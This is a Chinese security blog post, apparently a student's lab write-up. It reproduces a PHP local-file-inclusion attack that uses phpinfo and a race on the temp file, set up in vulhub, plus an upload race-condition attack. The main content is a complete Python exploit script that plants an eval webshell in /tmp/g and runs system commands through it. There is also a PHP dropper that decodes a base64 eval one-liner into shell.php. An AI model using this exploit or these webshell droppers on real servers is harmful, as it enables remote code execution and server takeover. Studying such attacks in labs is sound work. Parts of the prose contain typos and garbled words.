PHP文件包含漏洞(利用phpinfo)复现&&文件上传(条件竞争)

一.PHP文件包含漏洞(利用phpinfo)复现

       1.1简介

       在 PHP 环境下,如果网站存在本地文件包含漏洞,但是却无法找到想要包含的文件,也无法生成上传文件,是否能够获得 WebShell 呢?
       这里有一个技巧,前提是网站需要有一个 phpinf 页面,就可以通过条件竞争来包含缓存文件获取 WebShell了。这个技巧实际上融合了 PHIP 文件包含信息泄露条件竞争这三种漏洞,
      下面简述一下这种技巧的原理。在 PHP 语言中,如果以multipart/form-data( 表单) 形式上传文件,PHP会将上传的文件名、临时文件路径等各参数保存在$_FILES 数组。由于文件大小不确定,有可能会因文件过大导致内存开销过大,所以 PHP 会将文件内容保存在/mp 目录并以“php6个随机字符”为文件命名。这个临时的文件在请求结束之后就会被立即清除。
       当有一个文件包含点,但是却苦于没有合适文件包含时,可以想办法包含 /tmp 目录下的临时文件,而这个文件的内容是可以通过 POST 数据包控制的。但是文件名具有随机性,而且文件存活时间太短,如何能够快速地在缓存文件被删除之前找到它呢?phpinfo 文就为攻击者提供了可能。phpinfo 会将请求上下文中的变量打印出来,通过POST到phpinfo 页面,再查询页面上打印出来的“$_FILES ”数组,就可以精确获取到缓存的文件名了。但是,这样速度还是有点慢,当获取到文件名时,文件早已经被删除了,这里还需要使用TCP 的一些技巧。
       攻击者需要想办法控制网站,让它不要一次性将所有页面内容返回,而是慢慢地返回。由于PHP 默认的输出缓冲区大小为 4096B,也就是说,PHP 每次只给 Soket 连接返回4096B,攻击者需要在读取到缓存文件名时立即发起第二个关于文件包含的请求。此时第一个请求还有剩余内容没有返回完毕,会话并未结束,缓存文件也就尚未删除。这其实是打了一个时间差。下面是较为完整的攻击流程。
    1)发送上传数据包给phpinf 页面,在这个数据包中采用multipart/form-data格式将需要包含文件的内容填充在文件内容区域。同时这个数据包还需要填充一些内容较大的 Header、GET参数,相当于塞满垃圾数据。这样一来,因为 phpinfo 页面会将所有数据都打印出来,垃圾数据会将整个phpinfo页面撑得非常大。
    2)PHP默认的输出缓冲区大小为4096B,可以理解为 PHP 每次返回4096B 给 Socket 连接:所以,攻击者直接操作原生 Socket,每次读取 4096B。只要读取到的字符里包含临时文件名,就立即发送第二个数据包。第一个数据包的 Socket 连接实际上还没结束,因为 PHP 还在续每次输出4096B,所以临时文件此时还没有删除。
    3)利用这个时间差,快速将第二个数据包发送至服务器,即可成功包含临时文件,最终GetShell (只需要包含成功一次,即使缓存文件被删除了,也能够获取到 WebShell,因为 PHP代码运行于内存之中)。

   1.2复现

     漏洞环境在vulhub上可以获取
https://github.com/vulhub/vulhub/tree/master/php/inclusion

  安装https协议、CA证书

 apt-get install -y apt-transport-https ca-certificates

  安装docker

apt install docker.io

启动docker

systemctl start docker

安装pip

apt-get install python3-pip

安装docker-compose

apt install docker-compose

 下载Vulhub靶场

git clone https://github.com/vulhub/vulhub.git

下载完毕后,进入到vulhub目录下( cd vulhub ),通过 ls 命令查看漏洞靶场。、

进到计划进行复现的漏洞环境下,对靶场进行编译

docker-compose build

  运行靶场

docker-compose up -d

查看启动环境,确认一下访问端口,通过返回的内容可以确认访问端口为8983

docker-compose ps

环境启动后,访问http://ip:8080/phpinfo.php即可看到一个PHPINFO页面

访问http://your-ip:8080/lfi.php?file=/etc/passwd,可见的确存在文件包含漏洞。

用exp.py脚本来不断的上传数据,利用条件竞争来实现包含文件。当成功包含临时文Php file_put_contents('/tmp/g ','<?p/g', '<?=eval($_REQUEST[1])?>')?>,写入一个新的文件/tmp/g目录,这个文件会被保留在目标机器上。

#!/usr/bin/python 
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script   
    LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i+17:i+31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break                
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()
                    
            except socket.error:
                return
    

def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)
    
    d = ""
    while True:
        i = s.recv(4096)
        d+=i        
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")
    
    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256

def main():
    
    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)
    
    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",  
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()
    
    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    main()

运行python2 shell.py your-ip 8080 100

运行后(有时候执行一次无法成功,需要反复多次执行)发现,当提交到第810个请求时完成了漏洞利用,创建了/tmp/g文件。
接下来,可以通过发啊啊昂问本地文件包含了漏洞加载/tmp/g文件,执行系统命令http://127.0.0.1:8080/lfi.php?file=/tmp/g&1=system(%27id%27),并通过提交system函数来执行任意的系统命令,这里以id为例,一面返回结果如下

二.文件上传(条件竞争)

漏洞原理:
  条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。

  上传文件源代码里没有校验上传的文件,文件直接上传,上传成功后才进行判断:如果文件格式符合要求,则重命名,如果文件格式不符合要求,将文件删除。
  由于服务器并发处理(同时)多个请求,假如a用户上传了木马文件,由于代码执行需要时间,在此过程中b用户访问了a用户上传的文件,会有以下三种情况:
  1.访问时间点在上传成功之前,没有此文件。
  2.访问时间点在刚上传成功但还没有进行判断,该文件存在。
  3.访问时间点在判断之后,文件被删除,没有此文件。`

源码

$is_upload = false;
$msg = null;   //判断文件上传操作

if(isset($_POST['submit'])){  //判断是否接收到这个文件
    $ext_arr = array('jpg','png','gif');  //声明一个数组,数组里面有3条数据,为:'jpg','png','gif'
    $file_name = $_FILES['upload_file']['name'];  //获取图片的名字
    $temp_file = $_FILES['upload_file']['tmp_name']; //获取图片的临时存储路径
    $file_ext = substr($file_name,strrpos($file_name,".")+1); //通过文件名截取图片后缀
    $upload_file = UPLOAD_PATH . '/' . $file_name; //构造图片的上传路径,这里暂时重构图片后缀名。

    if(move_uploaded_file($temp_file, $upload_file)){ //这里对文件进行了转存
        if(in_array($file_ext,$ext_arr)){ //这里使用截取到的后缀名和数组里面的后缀名进行对比
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;  //如果存在,就对文件名进行重构
             rename($upload_file, $img_path);  //把上面的文件名进行重命名
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!"; //否则返回"只允许上传.jpg|.png|.gif类型文件!"数据。
            unlink($upload_file);// 并删除这个文件
        }
    }else{
        $msg = '上传出错!';
    }
}


条件竞争原理:当我们成功上传了php文件,服务端会在短时间内将其删除,我们需要抢在它删除之前访问文件并生成一句话木马文件,所以访问包的线程需要大于上传包的线程。

这里我们先写一个用于上传的php文件(我这里命名为m.php),内容如下:
 

<?php
$a = "PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+"; // This is a base64-encoded PHP code.
$myfile = fopen("shell.php", "w"); // Open a file named "shell.php" for writing.
fwrite($myfile, base64_decode($a)); // Decode the base64-encoded content and write it to the file.
fclose($myfile); // Close the file.

echo "File written successfully.";
?>

我们可以使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件(条件竞争马.php),一旦我们成功访问到了上传的文件(条件竞争马.php),那么它就会向服务器写一个shell(shell.php)

换句话说,我们最终利用的并不是我们上传的文件,上传只是为了能有一刻成功访问,一旦访问成功,便会写入一句话木马,我们最终利用的就是新写入的php文件。\

上传m.php,利用burpsuite抓包(这个是上传包)

 

没竞争出来原地爆炸!!!

  • 22
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论
### 回答1: PHP文件包含漏洞是一种常见的Web安全漏洞,攻击者可以利用漏洞通过包含恶意文件来执行任意代码。其中,利用phpinfo函数可以获取服务器的详细信息,包括PHP版本、操作系统、配置文件路径等,攻击者可以利用这些信息来进一步攻击服务器。因此,对于PHP文件包含漏洞,我们需要及时修复漏洞并加强服务器的安全防护措施,以保障网站的安全性。 ### 回答2: php文件包含漏洞是一种常见的Web应用程序漏洞,它允许攻击者在没有正常访问权限的情况下获取Web应用程序的敏感数据和系统资源。利用phpinfo函数,攻击者可以获得关于Web服务器和PHP环境的详细信息,包括内存使用情况、PHP模块的版本、系统路径、配置文件名等等,这些信息可用于进一步攻击或收集有关系统的信息。 通常情况下,php文件包含漏洞产生的原因是由于Web应用程序没有正确的过滤和验证用户输入,并允许用户传递文件名或路径。如果攻击者可以在该位置输入恶意代码,他们就可以通过访问特定的URL,向web服务器请求文件或脚本来执行所需的操作。 对于php文件包含漏洞,攻击者可以利用phpinfo函数来获取大量有关Web服务器和PHP配置的信息。如果攻击者可以获取此信息,他们将更容易地了解Web服务器的配置和缺陷,从而定向和更容易地入侵目标系统。例如,攻击者可以使用所收集到的信息来寻找系统上的其他漏洞,或者在成功入侵后利用该信息来控制服务器,尝试使用系统权限执行任意代码或更改配置。 为了保护Web应用程序安全,我们可以采取以下措施来防止php文件包含漏洞的发生: 1. 使用安全的编程实践来避免不可信数据输入 2. 防止对敏感资源和服务器配置文件的读取 3. 激活PHP配置参数,如open_basedir,以限制PHP访问的目录 4. 限制Web服务器的目录访问权限 5. 定期检查服务器日志来检测异常行为和攻击行为 6. 采用安全的编程方法避免可能的错误,并保持对最新漏洞安全威胁的关注 php文件包含漏洞可能会导致非常严重的安全问题,所以应采取有效的措施来保护Web应用程序和服务器的安全。通过实践良好的编程实践和安全性控制策略,可以帮助我们保护Web应用程序不受恶意攻击的影响,从而确保我们的数据和系统的安全性。 ### 回答3: PHP文件包含漏洞是一种常见的网络安全漏洞。它的存在导致黑客可以利用这个漏洞通过访问包含文件来执行任意代码并控制整个服务器。 PHP文件包含漏洞的根源在于PHP提供了一种方便的方式来包含另一个文件中的代码,这种方式是通过 include() 或 require() 函数实现的。这些函数接受一个文件名作为参数,然后将该文件中的代码“拷贝并粘贴”到当前的PHP文件中。这个机制的漏洞是黑客可以通过传递带有恶意代码的参数来包含任意文件,这可能是远程服务器上的PHP脚本,也可能是包含恶意代码的本地文件。 PHPInfo是一个php的系统信息函数,负责显示PHP配置和环境信息。这里,黑客可以利用PHPInfo来寻找服务器的弱点,并进一步利用php文件包含漏洞。通过读入php.ini一个配置文件,该函数可以泄漏服务器的所有信息,包括文件路径、数据库密码、服务器版本、PHP版本等等。 黑客可以通过以下步骤来利用php文件包含漏洞phpinfo()函数进一步渗透服务器: 1. 使用phpinfo()函数来获取服务器的系统信息和配置信息 2. 解析得到的信息,寻找PHP文件包含漏洞的存在 3. 通过向include()或require()函数传递恶意文件来执行任意代码并控制服务器 为了避免这些漏洞PHP开发者应该始终验证来自用户的输入。对于文件包含,应该限制包含文件的范围,禁止包含远程文件,并使用白名单来确定包含文件的位置。同时,应该禁用phpinfo()函数或者确保它只在受信任的环境中使用。 维护者还可以使用一些工具例如模糊测试技术、代码审计等来发现并修复这些漏洞。实施彻底的安全措施对于预防这些漏洞的产生非常重要。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

在校大学生入坑网安ing

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值